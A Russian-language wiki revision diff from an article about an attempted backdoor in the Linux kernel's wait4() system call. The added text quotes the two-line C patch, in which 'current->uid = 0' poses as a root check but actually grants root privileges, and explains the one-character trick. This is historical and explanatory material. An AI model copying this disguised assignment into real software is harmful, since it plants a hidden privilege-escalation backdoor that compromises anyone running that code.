Изменения
Перейти к навигации
Перейти к поиску
Строка 3:
Строка 3:
− +
+
+
+
+
− Но при внимательном рассмотрении выяснилось, что код вовсе не проверяет, является ли пользователь всемогущим [[root]]. На самом деле, если обнаруживается нужное сочетание флагов, то вызвавший его процесс получает максимальные привилегии и моментально превращает wait4() в «черный ход». Другими словами, человек, знающий нужное сочетание флагов и место, где их следует установить, получает полный контроль над любой [[Linux]]-машиной. И вся эта гигантская разница — между тем, как код выглядит и что он в действительности делает, — заключена всего лишь в одном знаке на языке [[Си]]. Если бы этот нюанс обнаружили при обычных обстоятельствах, то наверняка сочли бы за элементарную ошибку программиста.+
→Суть дыры
== Суть дыры ==
== Суть дыры ==
Обнаруженная дыра представляет собой две строчки кода, тщательно замаскированные под невинный контроль ошибок, добавленный к функции системного вызова wait4(). Эта функция доступна любой программе, работающей на компьютере, и, грубо говоря, дает операционной системе указание сделать паузу в исполнении данной программы, пока другая программа не завершит работу. На первый взгляд казалось, что добавка к коду просто проверяет, не использует ли программа, вызывающая wait4(), некую недопустимую комбинацию двух флагов и не запущена ли она пользователем с максимальными привилегиями (root). Если оба условия выполняются, то вызов прерывается.
Обнаруженная дыра представляет собой две строчки кода, тщательно замаскированные под невинный контроль ошибок, добавленный к функции системного вызова wait4(). Эта функция доступна любой программе, работающей на компьютере, и, грубо говоря, дает операционной системе указание сделать паузу в исполнении данной программы, пока другая программа не завершит работу. На первый взгляд казалось, что добавка к коду просто проверяет, не использует ли программа, вызывающая wait4(), некую недопустимую комбинацию двух флагов и не запущена ли она пользователем с максимальными привилегиями (root). Если оба условия выполняются, то вызов прерывается. Вот этот код:
<code>
+ if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
+ retval = -EINVAL;
</code>
При внимательном рассмотрении выяснилось, что код вовсе не проверяет, является ли пользователь всемогущим [[root]]. Если обнаруживается нужное сочетание флагов, то вызвавший его процесс '''получает''' максимальные привилегии и моментально превращает wait4() в «черный ход». Другими словами, человек, знающий нужное сочетание флагов и место, где их следует установить, получает полный контроль над любой [[Linux]]-машиной. И вся эта гигантская разница — между тем, как код выглядит и что он в действительности делает, — заключена всего лишь в одном знаке на языке [[Си]]. Если бы этот нюанс обнаружили при обычных обстоятельствах, то наверняка сочли бы за элементарную ошибку программиста.
== История обнаружения ==
== История обнаружения ==